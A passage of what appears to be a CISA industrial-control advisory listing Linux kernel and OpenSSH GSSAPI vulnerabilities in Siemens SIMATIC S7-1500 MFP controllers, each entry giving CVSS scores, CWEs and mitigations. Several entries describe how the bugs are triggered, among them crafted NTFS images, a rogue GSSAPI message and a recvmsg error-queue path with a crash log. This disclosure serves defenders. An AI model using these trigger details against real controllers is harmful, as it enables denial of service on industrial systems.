</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-71266</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: fs: ntfs3: check return value of indx_find to avoid infinite loop We found an infinite loop bug in the ntfs3 file system that can lead to a Denial-of-Service (DoS) condition. A malformed dentry in the ntfs3 filesystem can cause the kernel to hang during the lookup operations. By setting the HAS_SUB_NODE flag in an INDEX_ENTRY within a directory's INDEX_ALLOCATION block and manipulating the VCN pointer, an attacker can cause the indx_find() function to repeatedly read the same block, allocating 4 KB of memory each time. The kernel lacks VCN loop detection and depth limits, causing memory exhaustion and an OOM crash. This patch adds a return value check for fnd_push() to prevent a memory exhaustion vulnerability caused by infinite loops. When the index exceeds the size of the fnd-&gt;nodes array, fnd_push() returns -EINVAL. The indx_find() function checks this return value and stops processing, preventing further memory allocation.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-71266">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/835.html">CWE-835 Loop with Unreachable Exit Condition ('Infinite Loop')</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-71267</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: fs: ntfs3: fix infinite loop triggered by zero-sized ATTR_LIST We found an infinite loop bug in the ntfs3 file system that can lead to a Denial-of-Service (DoS) condition. A malformed NTFS image can cause an infinite loop when an ATTR_LIST attribute indicates a zero data size while the driver allocates memory for it. When ntfs_load_attr_list() processes a resident ATTR_LIST with data_size set to zero, it still allocates memory because of al_aligned(0). This creates an inconsistent state where ni-&gt;attr_list.size is zero, but ni-&gt;attr_list.le is non-null. This causes ni_enum_attr_ex to incorrectly assume that no attribute list exists and enumerates only the primary MFT record. When it finds ATTR_LIST, the code reloads it and restarts the enumeration, repeating indefinitely. The mount operation never completes, hanging the kernel thread. This patch adds validation to ensure that data_size is non-zero before memory allocation. When a zero-sized ATTR_LIST is detected, the function returns -EINVAL, preventing a DoS vulnerability.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-71267">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/835.html">CWE-835 Loop with Unreachable Exit Condition ('Infinite Loop')</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>4.6</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-3497</a></h3>
<div class="csaf-accordion-content">
<p>Vulnerability in the OpenSSH GSSAPI delta included in various Linux distributions. This vulnerability affects the GSSAPI patches added by various Linux distributions and does not affect the OpenSSH upstream project itself. The usage of sshpkt_disconnect() on an error, which does not terminate the process, allows an attacker to send an unexpected GSSAPI message type during the GSSAPI key exchange to the server, which will call the underlying function and continue the execution of the program without setting the related connection variables. As the variables are not initialized to NULL the code later accesses those uninitialized variables, accessing random memory, which could lead to undefined behavior. The recommended workaround is to use ssh_packet_disconnect() instead, which does terminate the process. The impact of the vulnerability depends heavily on the compiler flag hardening configuration.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-3497">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/908.html">CWE-908 Use of Uninitialized Resource</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>8.2</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-22977</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: net: sock: fix hardened usercopy panic in sock_recv_errqueue skbuff_fclone_cache was created without defining a usercopy region, [1] unlike skbuff_head_cache which properly whitelists the cb[] field. [2] This causes a usercopy BUG() when CONFIG_HARDENED_USERCOPY is enabled and the kernel attempts to copy sk_buff.cb data to userspace via sock_recv_errqueue() -&gt; put_cmsg(). The crash occurs when: 1. TCP allocates an skb using alloc_skb_fclone() (from skbuff_fclone_cache) [1] 2. The skb is cloned via skb_clone() using the pre-allocated fclone [3] 3. The cloned skb is queued to sk_error_queue for timestamp reporting 4. Userspace reads the error queue via recvmsg(MSG_ERRQUEUE) 5. sock_recv_errqueue() calls put_cmsg() to copy serr-&gt;ee from skb-&gt;cb [4] 6. __check_heap_object() fails because skbuff_fclone_cache has no usercopy whitelist [5] When cloned skbs allocated from skbuff_fclone_cache are used in the socket error queue, accessing the sock_exterr_skb structure in skb-&gt;cb via put_cmsg() triggers a usercopy hardening violation: [ 5.379589] usercopy: Kernel memory exposure attempt detected from SLUB object 'skbuff_fclone_cache' (offset 296, size 16)! [ 5.382796] kernel BUG at mm/usercopy.c:102! [ 5.383923] Oops: invalid opcode: 0000 [#1] SMP KASAN NOPTI [ 5.384903] CPU: 1 UID: 0 PID: 138 Comm: poc_put_cmsg Not tainted 6.12.57 #7 [ 5.384903] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.16.3-0-ga6ed6b701f0a-prebuilt.qemu.org 04/01/2014 [ 5.384903] RIP: 0010:usercopy_abort+0x6c/0x80 [ 5.384903] Code: 1a 86 51 48 c7 c2 40 15 1a 86 41 52 48 c7 c7 c0 15 1a 86 48 0f 45 d6 48 c7 c6 80 15 1a 86 48 89 c1 49 0f 45 f3 e8 84 27 88 ff &lt;0f&gt; 0b 490 [ 5.384903] RSP: 0018:ffffc900006f77a8 EFLAGS: 00010246 [ 5.384903] RAX: 000000000000006f RBX: ffff88800f0ad2a8 RCX: 1ffffffff0f72e74 [ 5.384903] RDX: 0000000000000000 RSI: 0000000000000004 RDI: ffffffff87b973a0 [ 5.384903] RBP: 0000000000000010 R08: 0000000000000000 R09: fffffbfff0f72e74 [ 5.384903] R10: 0000000000000003 R11: 79706f6372657375 R12: 0000000000000001 [ 5.384903] R13: ffff88800f0ad2b8 R14: ffffea00003c2b40 R15: ffffea00003c2b00 [ 5.384903] FS: 0000000011bc4380(0000) GS:ffff8880bf100000(0000) knlGS:0000000000000000 [ 5.384903] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [ 5.384903] CR2: 000056aa3b8e5fe4 CR3: 000000000ea26004 CR4: 0000000000770ef0 [ 5.384903] PKRU: 55555554 [ 5.384903] Call Trace: [ 5.384903] [ 5.384903] __check_heap_object+0x9a/0xd0 [ 5.384903] __check_object_size+0x46c/0x690 [ 5.384903] put_cmsg+0x129/0x5e0 [ 5.384903] sock_recv_errqueue+0x22f/0x380 [ 5.384903] tls_sw_recvmsg+0x7ed/0x1960 [ 5.384903] ? srso_alias_return_thunk+0x5/0xfbef5 [ 5.384903] ? schedule+0x6d/0x270 [ 5.384903] ? srso_alias_return_thunk+0x5/0xfbef5 [ 5.384903] ? mutex_unlock+0x81/0xd0 [ 5.384903] ? __pfx_mutex_unlock+0x10/0x10 [ 5.384903] ? __pfx_tls_sw_recvmsg+0x10/0x10 [ 5.384903] ? _raw_spin_lock_irqsave+0x8f/0xf0 [ 5.384903] ? _raw_read_unlock_irqrestore+0x20/0x40 [ 5.384903] ? srso_alias_return_thunk+0x5/0xfbef5 The crash offset 296 corresponds to skb2-&gt;cb within skbuff_fclones: - sizeof(struct sk_buff) = 232 - offsetof(struct sk_buff, cb) = 40 - offset of skb2.cb in fclones = 232 + 40 = 272 - crash offset 296 = 272 + 24 (inside sock_exterr_skb.ee) This patch uses a local stack variable as a bounce buffer to avoid the hardened usercopy check failure. [1] https://elixir.bootlin.com/linux/v6.12.62/source/net/ipv4/tcp.c#L885 [2] https://elixir.bootlin.com/linux/v6.12.62/source/net/core/skbuff.c#L5104 [3] https://elixir.bootlin.com/linux/v6.12.62/source/net/core/skbuff.c#L5566 [4] https://elixir.bootlin.com/linux/v6.12.62/source/net/core/skbuff.c#L5491 [5] https://elixir.bootlin.com/linux/v6.12.62/source/mm/slub.c#L5719</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-22977">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/489.html">CWE-489 Active Debug Code</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-22979</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: net: fix memory leak in skb_segment_list for GRO packets When skb_segment_list() is called during packet forwarding, it handles packets that were aggregated by the GRO engine. Historically, the segmentation logic in skb_segment_list assumes that individual segments are split from a parent SKB and may need to carry their own socket memory accounting. Accordingly, the code transfers truesize from the parent to the newly created segments. Prior to commit ed4cccef64c1 ("gro: fix ownership transfer"), this truesize subtraction in skb_segment_list() was valid because fragments still carry a reference to the original socket. However, commit ed4cccef64c1 ("gro: fix ownership transfer") changed this behavior by ensuring that fraglist entries are explicitly orphaned (skb-&gt;sk = NULL) to prevent illegal orphaning later in the stack. This change meant that the entire socket memory charge remained with the head SKB, but the corresponding accounting logic in skb_segment_list() was never updated. As a result, the current code unconditionally adds each fragment's truesize to delta_truesize and subtracts it from the parent SKB. Since the fragments are no longer charged to the socket, this subtraction results in an effective under-count of memory when the head is freed. This causes sk_wmem_alloc to remain non-zero, preventing socket destruction and leading to a persistent memory leak. The leak can be observed via KMEMLEAK when tearing down the networking environment: unreferenced object 0xffff8881e6eb9100 (size 2048): comm "ping", pid 6720, jiffies 4295492526 backtrace: kmem_cache_alloc_noprof+0x5c6/0x800 sk_prot_alloc+0x5b/0x220 sk_alloc+0x35/0xa00 inet6_create.part.0+0x303/0x10d0 __sock_create+0x248/0x640 __sys_socket+0x11b/0x1d0 Since skb_segment_list() is exclusively used for SKB_GSO_FRAGLIST packets constructed by GRO, the truesize adjustment is removed. The call to skb_release_head_state() must be preserved. As documented in commit cf673ed0e057 ("net: fix fraglist segmentation reference count leak"), it is still required to correctly drop references to SKB extensions that may be overwritten during __copy_skb_header().</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-22979">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/772.html">CWE-772 Missing Release of Resource after Effective Lifetime</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-22980</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: nfsd: provide locking for v4_end_grace Writing to v4_end_grace can race with server shutdown and result in memory being accessed after it was freed - reclaim_str_hashtbl in particularly. We cannot hold nfsd_mutex across the nfsd4_end_grace() call as that is held while client_tracking_op-&gt;init() is called and that can wait for an upcall to nfsdcltrack which can write to v4_end_grace, resulting in a deadlock. nfsd4_end_grace() is also called by the landromat work queue and this doesn't require locking as server shutdown will stop the work and wait for it before freeing anything that nfsd4_end_grace() might access. However, we must be sure that writing to v4_end_grace doesn't restart the work item after shutdown has already waited for it. For this we add a new flag protected with nn-&gt;client_lock. It is set only while it is safe to make client tracking calls, and v4_end_grace only schedules work while the flag is set with the spinlock held. So this patch adds a nfsd_net field "client_tracking_active" which is set as described. Another field "grace_end_forced", is set when v4_end_grace is written. After this is set, and providing client_tracking_active is set, the laundromat is scheduled. This "grace_end_forced" field bypasses other checks for whether the grace period has finished. This resolves a race which can result in use-after-free.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-22980">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/416.html">CWE-416 Use After Free</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-22982</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: net: mscc: ocelot: Fix crash when adding interface under a lag Commit 15faa1f67ab4 ("lan966x: Fix crash when adding interface under a lag") fixed a similar issue in the lan966x driver caused by a NULL pointer dereference. The ocelot_set_aggr_pgids() function in the ocelot driver has similar logic and is susceptible to the same crash. This issue specifically affects the ocelot_vsc7514.c frontend, which leaves unused ports as NULL pointers. The felix_vsc9959.c frontend is unaffected as it uses the DSA framework which registers all ports. Fix this by checking if the port pointer is valid before accessing it.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-22982">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-22992</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: libceph: return the handler error from mon_handle_auth_done() Currently any error from ceph_auth_handle_reply_done() is propagated via finish_auth() but isn't returned from mon_handle_auth_done(). This results in higher layers learning that (despite the monitor considering us to be successfully authenticated) something went wrong in the authentication phase and reacting accordingly, but msgr2 still trying to proceed with establishing the session in the background. In the case of secure mode this can trigger a WARN in setup_crypto() and later lead to a NULL pointer dereference inside of prepare_auth_signature().</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-22992">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/252.html">CWE-252 Unchecked Return Value</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.5</td>
<td>HIGH</td>
